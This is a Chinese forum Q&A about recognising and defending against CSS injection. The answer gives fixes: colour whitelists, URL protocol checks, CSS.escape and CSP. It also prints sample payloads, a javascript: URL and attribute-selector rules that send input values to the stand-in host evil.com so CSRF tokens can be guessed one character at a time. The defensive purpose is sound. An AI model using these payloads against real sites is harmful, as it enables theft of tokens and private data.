前端渗透测试中如何防范CSS注入攻击? ❤恒菽 提问于 2026-03-01 08:01:19 阅读 49 安全 我在做安全测试时,发现用户输入的样式能直接渲染到页面上,担心有CSS注入风险。比如下面这段动态生成的CSS: .user-style { background: url(' + userInput + '); color: #333; } 虽然目前只允许传入颜色值或URL,但测试时用 background: url(javascript:alert(1)) 居然触发了脚本!这算XSS还是CSS注入?该怎么防御? 渗透测试 我来解答 赞 6 收藏 分享 生成中... 手机扫码查看 复制链接 生成海报 反馈 发表解答 您需要先 登录/注册 才能发表解答 1 条解答 程序猿传禄 Lv1 好家伙,这个问题我之前也踩过坑!先说结论:你这情况严格来说属于CSS注入,但因为能执行JS,最终效果等同于存储型XSS,危害是一样的。 那个 url(javascript:alert(1)) 在老版本IE里确实能弹窗,现代浏览器虽然堵住了这个口子,但CSS注入的风险远不止这点。 攻击者可以用CSS选择器配合 url() 往外部服务器发请求,窃取页面里的敏感数据。比如这样: input[value^="a"] { background: url("https://evil.com/steal?a"); } input[value^="b"] { background: url("https://evil.com/steal?b"); } 只要输入框的value以某个字符开头,就会触发请求,攻击者逐字符猜解就能拿到CSRF token、用户隐私信息这些。 我的做法是这样的: 第一,能不用动态CSS就不用,改用CSS变量配合预设白名单。 // 只允许预定义的颜色值 const allowedColors = ['#333', '#666', '#999', 'red', 'blue']; const userColor = allowedColors.includes(input) ? input : '#333'; // 在模板里用CSS变量 const style = .user-style { background-color: var(--user-bg, #fff); color: var(--user-color, #333); } ; 第二,如果非要让用户传URL,必须做协议校验,只允许 http 和 https: function sanitizeCSSUrl(url) { try { const parsed = new URL(url); if (!['http:', 'https:'].includes(parsed.protocol)) { return ''; } return parsed.href; } catch { return ''; } } 第三,输入值一定要用 CSS.escape() 转义,防止注入特殊字符: const safeValue = CSS.escape(userInput); 第四,上CSP策略,禁止内联样式和外部CSS加载,从根源上限制: 说实话,CSS注入这块经常被忽略,但危害真不小。我之前项目里就因为这个漏报过,后来安全审计才被发现,改得我头皮发麻。建议你把动态CSS全改成CSS变量+白名单的方式,一劳永逸。 回复 点赞 2 2026-03-01 08:03 加载更多 相关推荐 1 回答 36 浏览 前端开发中如何通过安全培训避免CSS注入风险? 最近公司开始推行安全开发生命周期(SDL),要求我们前端也参加安全培训。但我有点困惑:CSS 也会有安全问题吗?我之前写过类似下面的动态样式,会不会有风险? .user-theme { backgro... 司徒振莉 安全 2026-03-17 20:48:21 2 回答 58 浏览 前端代码审查时如何发现CSS注入风险? 最近在做安全Code Review,看到一段动态拼接CSS的逻辑,担心有注入漏洞。比如用户输入直接插进style标签里,会不会被利用? 我查了资料说CSS本身不像JS那样能执行脚本,但某些属性比如ur... 志红 Dev 安全 2026-03-15 11:18:21 2 回答 29 浏览 前端安全审计时如何防止CSS注入风险? 最近在做项目的安全审计,发现有个用户自定义主题的功能,允许传入CSS字符串动态应用样式。我担心这里会有CSS注入漏洞,比如用户输入恶意代码破坏页面或窃取数据。虽然我用了DOMPurify处理HTML,... UE丶海宇 前端 2026-03-11 11:56:21 2 回答 71 浏览 前端安全审计中如何评估CSS注入风险? 最近在做项目安全自查,发现用户能自定义主题色,但担心CSS注入问题。我用了类似下面的写法,这样安全吗? .user-theme { --primary-color: ${userInput}; bac... 诸葛莉霞 安全 2026-03-05 14:35:18 2 回答 53 浏览 白盒测试时发现CSS注入漏洞,如何验证并修复? 在审计前端代码时发现一个动态插入用户CSS样式的功能,像这样: .example { content: attr(data-style); /* 用户提供的样式会直接填充到data-style属性 *... Code°佳润 安全 2026-01-28 14:06:31 1 回答 58 浏览 前端项目里怎么用威胁情报检测恶意CSS注入? 最近在做安全审计,听说要关注威胁情报里的CSS注入风险,但我搞不清具体该查什么。我们项目用了动态加载用户自定义样式的功能,会不会有隐患? 比如下面这段用户可能提交的CSS: .user-content... シ翼杨 安全 2026-03-31 15:23:12 1 回答 70 浏览 白盒测试时如何判断CSS会不会引发安全问题? 最近在做Web安全的白盒测试,看到项目里有一段动态生成的CSS,担心会不会有XSS风险。虽然CSS本身不能执行JS,但听说某些属性比如url()或者@import可能被利用,是不是真的? 比如下面这段... Mc.莉娜 安全 2026-03-19 05:24:22 1 回答 72 浏览 E2E测试中如何正确等待动态加载的CSS动画元素? 我用Cypress写E2E测试时,有个按钮点击后会通过CSS动画淡入一个提示框,但测试经常因为元素还没完全显示就断言失败。我已经试过cy.wait()和cy.get().should('be.visi... 长孙玉萱 前端 2026-03-16 11:56:20 1 回答 34 浏览 前端做Fuzzing测试时CSS解析会崩溃怎么办? 最近在尝试给我们的UI组件库加Fuzzing测试,用的是jsdom配合一些模糊输入生成器。但一碰到某些畸形的CSS规则,整个测试进程就直接崩了,连错误堆栈都看不到。 我试过用 try-catch 包裹... シ树灿 安全 2026-03-09 10:06:21 2 回答 30 浏览 前端监控中如何准确采集 CSS 加载失败的数据? 我在做前端异常监控,想采集 CSS 文件加载失败的情况,但发现 onerror 事件在 link 标签上不生效。试过动态创建 link 并监听 error,但有些浏览器根本不触发,导致监控漏报。 比如... W″焕焕 前端 2026-02-28 13:26:20
那个
url(javascript:alert(1))在老版本IE里确实能弹窗,现代浏览器虽然堵住了这个口子,但CSS注入的风险远不止这点。攻击者可以用CSS选择器配合
url()往外部服务器发请求,窃取页面里的敏感数据。比如这样:只要输入框的value以某个字符开头,就会触发请求,攻击者逐字符猜解就能拿到CSRF token、用户隐私信息这些。
我的做法是这样的:
第一,能不用动态CSS就不用,改用CSS变量配合预设白名单。
第二,如果非要让用户传URL,必须做协议校验,只允许 http 和 https:
第三,输入值一定要用 CSS.escape() 转义,防止注入特殊字符:
第四,上CSP策略,禁止内联样式和外部CSS加载,从根源上限制:
说实话,CSS注入这块经常被忽略,但危害真不小。我之前项目里就因为这个漏报过,后来安全审计才被发现,改得我头皮发麻。建议你把动态CSS全改成CSS变量+白名单的方式,一劳永逸。